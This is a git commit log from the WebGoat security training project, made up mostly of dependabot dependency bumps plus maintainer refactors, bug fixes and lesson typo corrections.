Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:55:02 +02:00
dependabot[bot]
9b68368b23 chore: bump pre-commit-ci/lite-action from 1.0.1 to 1.1.0 (#1926)
Bumps [pre-commit-ci/lite-action](https://github.com/pre-commit-ci/lite-action) from 1.0.1 to 1.1.0.
- [Release notes](https://github.com/pre-commit-ci/lite-action/releases)
- [Commits](https://github.com/pre-commit-ci/lite-action/compare/v1.0.1...v1.1.0)

---
updated-dependencies:
- dependency-name: pre-commit-ci/lite-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:54:46 +02:00
Nanne Baars
ab068901f1 Remove WebGoat session object (#1929)
* refactor: modernize code

* refactor: move to Tomcat

* chore: bump to Spring Boot 3.3.3

* refactor: use Testcontainers to run integration tests

* refactor: lesson/assignment progress

* chore: format code

* refactor: first step into removing base class for assignment

Always been a bit of an ugly construction, as none of the dependencies are clear. The constructors are hidden due to autowiring the base class. This PR removes two of the fields.

As a bonus we now wire the authentication principal directly in the controllers.

* refactor: use authentication principal directly.

* refactor: pass lesson to the endpoints

No more need to get the current lesson set in a session. The lesson is now passed to the endpoints.

* fix: Testcontainers cannot run on Windows host in Github actions.

Since we have Windows specific paths let's run it standalone for now. We need to run these tests on Docker as well (for now disabled)
2024-10-26 10:54:21 +02:00
François Capon
cb7c508046 fix: reset form and quiz color on reset lesson (#1903)
* ./mvnw spotless:apply

```
[INFO] --- spotless-maven-plugin:2.41.1:apply (default-cli) @ webgoat ---
[INFO] Writing clean file: /home/ulyssa/labs/WebGoat/WebGoat-bb6e84d/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java
```

* On reset lesson: reset form and quizzes colors
2024-10-26 09:22:18 +02:00
Rui Melo
f4c86be6c7 Update fix version 2024-10-18 22:50:19 +02:00
Benjamin Mouncer
cf2c115093 fix: xss lesson typo 2024-10-18 22:38:32 +02:00
dependabot[bot]
bb6e84ddcf chore: bump com.google.guava:guava from 33.2.1-jre to 33.3.0-jre (#1879)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.2.1-jre to 33.3.0-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:44:38 +02:00
dependabot[bot]
5fc2666b43 chore: bump docker/build-push-action from 6.5.0 to 6.7.0 (#1877)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.5.0 to 6.7.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.5.0...v6.7.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:43:46 +02:00
dependabot[bot]
6e946f21a2 chore: bump io.github.bonigarcia:webdrivermanager from 5.9.1 to 5.9.2 (#1866)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.9.1 to 5.9.2.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.9.1...webdrivermanager-5.9.2)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:57:57 +02:00
dependabot[bot]
d38ba2a626 chore: bump docker/build-push-action from 6.4.1 to 6.5.0 (#1867)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.4.1 to 6.5.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.4.1...v6.5.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:33 +02:00
dependabot[bot]
4c7e6ae4f4 chore: bump org.wiremock:wiremock from 3.9.0 to 3.9.1 (#1865)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.9.0 to 3.9.1.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.0...3.9.1)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:12 +02:00
Nanne Baars
58b762eade fix: copying file using transferTo sometimes fails. (#1862)
Turns out that using this method sometimes fails with an exception about unable to delete a directory.
The stacktrace points to:

```
java.nio.file.FileSystemException: /tmp/webwolf-fileserver/dumbanddummer/xxe_a11.dtd: Not a directory
        at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:100) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:106) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111) ~[na:na]
        at java.base/sun.nio.fs.UnixFileSystemProvider.implDelete(UnixFileSystemProvider.java:248) ~[na:na]
        at java.base/sun.nio.fs.AbstractFileSystemProvider.deleteIfExists(AbstractFileSystemProvider.java:110) ~[na:na]
        at java.base/java.nio.file.Files.deleteIfExists(Files.java:1191) ~[na:na]
        at java.base/java.nio.file.Files.copy(Files.java:3147) ~[na:na]
        at io.undertow.server.handlers.form.FormData$FileItem.write(FormData.java:274) ~[undertow-core-2.3.10.Final.jar!/:2.3.10.Final]
        at io.undertow.servlet.spec.PartImpl.write(PartImpl.java:119) ~[undertow-servlet-2.3.10.Final.jar!/:2.3.10.Final]
        at org.springframework.web.multipart.support.StandardMultipartHttpServletRequest$StandardMultipartFile.transferTo(StandardMultipartHttpServletRequest.java:254) ~[spring-web-6.0.13.jar!/:6.0.13]
        at org.owasp.webgoat.webwolf.FileServer.importFile(FileServer.java:89)
```

It has to do with the underlying implmentation in Undertow. An explaination can be found here: https://stackoverflow.com/questions/60336929/java-nio-file-nosuchfileexception-when-file-transferto-is-called

The solution is to take the input stream and use a simple `Files.copy()` to copy the file.

Closes: #1737
2024-07-28 17:47:30 +02:00
Nanne Baars
2b0c22ac68 Small improvements (#1848)
* refactor: remove CORS

* improvement: add healthcheck to Docker file
2024-07-23 17:42:56 +02:00
dependabot[bot]
85103bbcad chore: bump docker/login-action from 3.2.0 to 3.3.0 (#1855)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.2.0 to 3.3.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.2.0...v3.3.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-23 17:36:27 +02:00
dependabot[bot]
b98e1a98e1 chore: bump docker/build-push-action from 6.2.0 to 6.4.1 (#1854)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.2.0 to 6.4.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.2.0...v6.4.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:33:06 +02:00
dependabot[bot]
73de259809 chore: bump org.wiremock:wiremock from 3.8.0 to 3.9.0 (#1852)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.8.0 to 3.9.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.8.0...3.9.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:48 +02:00
dependabot[bot]
4a804fabb6 chore: bump org.jsoup:jsoup from 1.17.2 to 1.18.1 (#1851)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.17.2 to 1.18.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.17.2...jsoup-1.18.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:27 +02:00
dependabot[bot]
7f652dadec chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1850)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.0 to 3.3.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.0...surefire-3.3.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:10 +02:00
dependabot[bot]
f66dff1aeb chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom (#1840)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.10 to 12.0.11.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.10...jetty-12.0.11)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-10 12:14:45 +02:00
dependabot[bot]
777cec5a57 chore: bump io.github.bonigarcia:webdrivermanager from 5.8.0 to 5.9.1 (#1838)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.8.0 to 5.9.1.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.8.0...webdrivermanager-5.9.1)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:53:00 +02:00
dependabot[bot]
98fd280459 chore: bump org.wiremock:wiremock from 3.7.0 to 3.8.0 (#1837)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.7.0 to 3.8.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.7.0...3.8.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:49 +02:00
dependabot[bot]
8e0addff0b chore: bump org.jruby:jruby from 9.4.7.0 to 9.4.8.0 (#1841)
Bumps org.jruby:jruby from 9.4.7.0 to 9.4.8.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:41 +02:00
dependabot[bot]
a30fbc223a chore: bump docker/setup-qemu-action from 2.2.0 to 3.1.0 (#1842)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.2.0 to 3.1.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.2.0...v3.1.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:27 +02:00
Nanne Baars
a0b6decf34 Fix report card (#1845)
* fix: report card

Fix and simplify calculation of the number of assignments a user solved.
Rename `UserTracker` to `UserProgress`
Rename `LessonTracker` to `LessonProgress`
Rename tables in database
2024-07-09 20:07:09 +02:00
dependabot[bot]
1531987da5 chore: bump docker/build-push-action from 6.1.0 to 6.2.0 (#1839)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.1.0 to 6.2.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.1.0...v6.2.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-07 12:24:25 +02:00
dependabot[bot]
bec6580c84 chore: bump docker/build-push-action from 5.4.0 to 6.1.0 (#1832)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.4.0 to 6.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.4.0...v6.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-29 10:16:10 +02:00
dependabot[bot]
900702481b chore: bump org.wiremock:wiremock from 3.6.0 to 3.7.0 (#1834)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.6.0 to 3.7.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.6.0...3.7.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-26 09:14:21 +02:00
dependabot[bot]
f35b23970e chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1828)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.2.1...surefire-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:44:31 +02:00
dependabot[bot]
074fd8f5ff chore: bump org.webjars:webjars-locator-core from 0.58 to 0.59 (#1827)
Bumps [org.webjars:webjars-locator-core](https://github.com/webjars/webjars-locator-core) from 0.58 to 0.59.
- [Commits](https://github.com/webjars/webjars-locator-core/compare/webjars-locator-core-0.58...webjars-locator-core-0.59)

---
updated-dependencies:
- dependency-name: org.webjars:webjars-locator-core
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:32:57 +02:00
dependabot[bot]
8c890b090c chore: bump io.github.bonigarcia:webdrivermanager from 5.6.3 to 5.8.0 (#1826)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.6.3 to 5.8.0.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.6.3...webdrivermanager-5.8.0)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 10:38:31 +02:00
dependabot[bot]
630c1e1afd chore: bump org.ow2.asm:asm from 9.5 to 9.7 (#1829)
Bumps org.ow2.asm:asm from 9.5 to 9.7.

---
updated-dependencies:
- dependency-name: org.ow2.asm:asm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-18 09:11:59 +02:00
dependabot[bot]
061c75a05f chore: bump org.apache.commons:commons-compress from 1.26.0 to 1.26.2 (#1825)
Bumps org.apache.commons:commons-compress from 1.26.0 to 1.26.2.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 08:28:49 +02:00
dependabot[bot]
5e5a1363b0 chore: bump docker/build-push-action from 5.3.0 to 5.4.0 (#1824)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.3.0 to 5.4.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.3.0...v5.4.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 08:20:27 +02:00
dependabot[bot]
47df923c8c chore: bump org.apache.maven.plugins:maven-enforcer-plugin (#1823)
Bumps [org.apache.maven.plugins:maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.3.0 to 3.5.0.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.3.0...enforcer-3.5.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:20:29 +02:00
dependabot[bot]
5dbc642264 chore: bump com.nulab-inc:zxcvbn from 1.8.0 to 1.9.0 (#1822)
Bumps [com.nulab-inc:zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.8.0 to 1.9.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/main/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.8.0...1.9.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:14:48 +02:00
dependabot[bot]
96bc6fa608 chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1821)
Bumps [org.apache.maven.plugins:maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.3.1 to 3.4.0.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.3.1...maven-checkstyle-plugin-3.4.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:09:49 +02:00
dependabot[bot]
1d5a2bb6a2 chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom from 12.0.3 to 12.0.10 (#1820)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.3 to 12.0.10.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.3...jetty-12.0.10)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 07:55:02 +02:00
dependabot[bot]
8b37bd58d7 chore: bump commons-io:commons-io from 2.15.1 to 2.16.1 (#1819)
Bumps commons-io:commons-io from 2.15.1 to 2.16.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-14 17:41:45 +02:00
dependabot[bot]
6545e2a066 chore: bump com.github.tomakehurst:wiremock (#1810)
Bumps [com.github.tomakehurst:wiremock](https://github.com/wiremock/wiremock) from 3.0.0-beta-2 to 3.0.0-beta-10.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.0.0-beta-2...3.0.0-beta-10)

---
updated-dependencies:
- dependency-name: com.github.tomakehurst:wiremock
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:15:53 +02:00
dependabot[bot]
9573b30667 chore: bump org.asciidoctor:asciidoctorj from 2.5.10 to 2.5.13 (#1811)
Bumps [org.asciidoctor:asciidoctorj](https://github.com/asciidoctor/asciidoctorj) from 2.5.10 to 2.5.13.
- [Release notes](https://github.com/asciidoctor/asciidoctorj/releases)
- [Changelog](https://github.com/asciidoctor/asciidoctorj/blob/v2.5.13/CHANGELOG.adoc)
- [Commits](https://github.com/asciidoctor/asciidoctorj/compare/v2.5.10...v2.5.13)

---
updated-dependencies:
- dependency-name: org.asciidoctor:asciidoctorj
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:09:45 +02:00
dependabot[bot]
30e40f2e59 chore: bump org.jruby:jruby from 9.4.3.0 to 9.4.7.0 (#1813)
Bumps org.jruby:jruby from 9.4.3.0 to 9.4.7.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:23:28 +02:00
dependabot[bot]
8f11fb6729 chore: bump docker/login-action from 3.0.0 to 3.2.0 (#1815)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.0.0 to 3.2.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.0.0...v3.2.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:17:41 +02:00
dependabot[bot]
10e36c203f chore: bump com.google.guava:guava from 32.1.3-jre to 33.2.1-jre (#1814)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 32.1.3-jre to 33.2.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:13:01 +02:00
dependabot[bot]
edcce09b5f chore: bump docker/build-push-action from 5.1.0 to 5.3.0 (#1816)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.1.0 to 5.3.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.1.0...v5.3.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-08 08:08:14 +02:00
François Capon
3134f18066 fix: Success if only Smith earn most salary (#1744)
* Update labels

* Update Java

* Update Test

---------

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:50:38 +02:00
Vandeputte Brice
e219887f14 docs: Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
fix broken link OWASP ZAP -  https://www.zaproxy.org/

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:45:12 +02:00
René Zubcevic
508703ffce update dependencies and version (#1807)
* update dependencies and version
* debug macos build issue
* update and fix Dockerfile(s)
2024-05-31 19:39:03 +02:00
Nanne Baars
e308d7cde7 chore: upgrade checkout out to v4 (#1781) 2024-03-25 22:27:56 +01:00
Nanne Baars
4ab820e1d1 feat: move CSRF to A3 (#1776)
CSRF is part of security misconfiguration in the OWASP Top 10.
2024-03-21 20:50:37 +01:00
Jason White
1a6a7e0be1 reverting my goofs after launching from wrong browser tab (#1774) 2024-03-19 18:01:30 +01:00
Jason White
2e9140ab64 Merge pull request #1773 from misfir3/test-semgrep-on-merge
Test semgrep on merge
2024-03-18 13:21:21 -06:00
Jason White
b79c83a52e linty 2024-03-18 19:19:12 +00:00
Jason White
297c6f49b5 Merge branch 'main' into test-semgrep-on-merge 2024-03-18 13:14:39 -06:00
Jason White
d2049a8fcc updating for testing 2024-03-18 19:13:50 +00:00
Jason White
24db39eae2 test semgrep 2024-03-18 19:12:13 +00:00
Jason White
98443184e9 Merge pull request #1 from WebGoat/develop
updating from main branch to test semgrep
2024-03-18 13:05:23 -06:00
Nanne Baars
62931a1836 feature: enable CORS configuration (#1771) 2024-03-17 10:55:27 +01:00
cap-dev0x
c18430752a build(Dockerfile): replace deprecated MAINTAINER tag with label of the same
Current syntax now used to denote the "WebGoat team" as maintainer

Link: https://docs.docker.com/reference/dockerfile/#label

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-25 23:20:23 +01:00
François Capon
57d5b313b9 Fix typo in SQLi blind case 2024-02-10 16:02:35 +01:00
cap-dev0x
dd0f135088 fix(quiz): use $ instead of jQuery which is undefined (#1736)
Fixes: #1703

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-05 14:30:01 +01:00
dependabot[bot]
ad0286d5ba chore: bump actions/cache from 3.3.1 to 4.0.0 (#1729)
Bumps [actions/cache](https://github.com/actions/cache) from 3.3.1 to 4.0.0.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.3.1...v4.0.0)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-29 11:03:15 +01:00
dependabot[bot]
b67eb44142 chore: bump io.github.bonigarcia:webdrivermanager from 5.3.3 to 5.6.3 (#1716)
